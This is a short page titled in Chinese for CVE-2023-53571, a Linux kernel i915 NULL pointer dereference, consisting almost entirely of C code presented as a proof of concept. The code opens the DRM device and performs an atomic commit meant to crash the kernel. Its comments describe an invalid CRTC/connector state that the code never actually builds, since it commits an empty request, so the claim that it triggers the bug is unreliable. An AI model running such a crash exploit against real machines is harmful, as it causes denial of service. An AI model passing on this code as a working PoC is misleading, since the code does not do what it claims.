CVE-2023-53571 Linux内核i915驱动空指针解引用漏洞

// PoC for CVE-2023-53571 - Linux kernel i915 NULL pointer dereference // This vulnerability triggers a kernel oops by causing a NULL pointer // dereference in intel_get_crtc_new_encoder() when the encoder is NULL. #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <drm/drm.h> #include <drm/drm_mode.h> #include <xf86drm.h> #include <xf86drmMode.h> int main(int argc, char **argv) { int fd; drmModeConnectorPtr connector; drmModeResPtr resources; drmModeAtomicReqPtr req; // Open the i915 DRM device fd = open("/dev/dri/card0", O_RDWR | O_CLOEXEC); if (fd < 0) { perror("Cannot open DRM device"); return 1; } // Get DRM resources resources = drmModeGetResources(fd); if (!resources) { perror("Cannot get DRM resources"); close(fd); return 1; } // Create an atomic mode setting request req = drmModeAtomicAlloc(); if (!req) { perror("Cannot allocate atomic request"); drmModeFreeResources(resources); close(fd); return 1; } // Attempt to trigger the vulnerability by performing an atomic commit // with an invalid CRTC/connector combination that causes encoder to be NULL // This triggers the WARN path in intel_get_crtc_new_encoder() // which then dereferences the NULL encoder->dev pointer printf("Attempting to trigger CVE-2023-53571...\n"); // Set a property on a connector to trigger atomic state processing if (resources->connectors[0]) { connector = drmModeGetConnector(fd, resources->connectors[0]); if (connector) { // Attempt atomic commit with state that will cause NULL encoder lookup int ret = drmModeAtomicCommit(fd, req, 0, NULL); printf("Atomic commit result: %d\n", ret); drmModeFreeConnector(connector); } } drmModeAtomicFree(req); drmModeFreeResources(resources); close(fd); return 0; }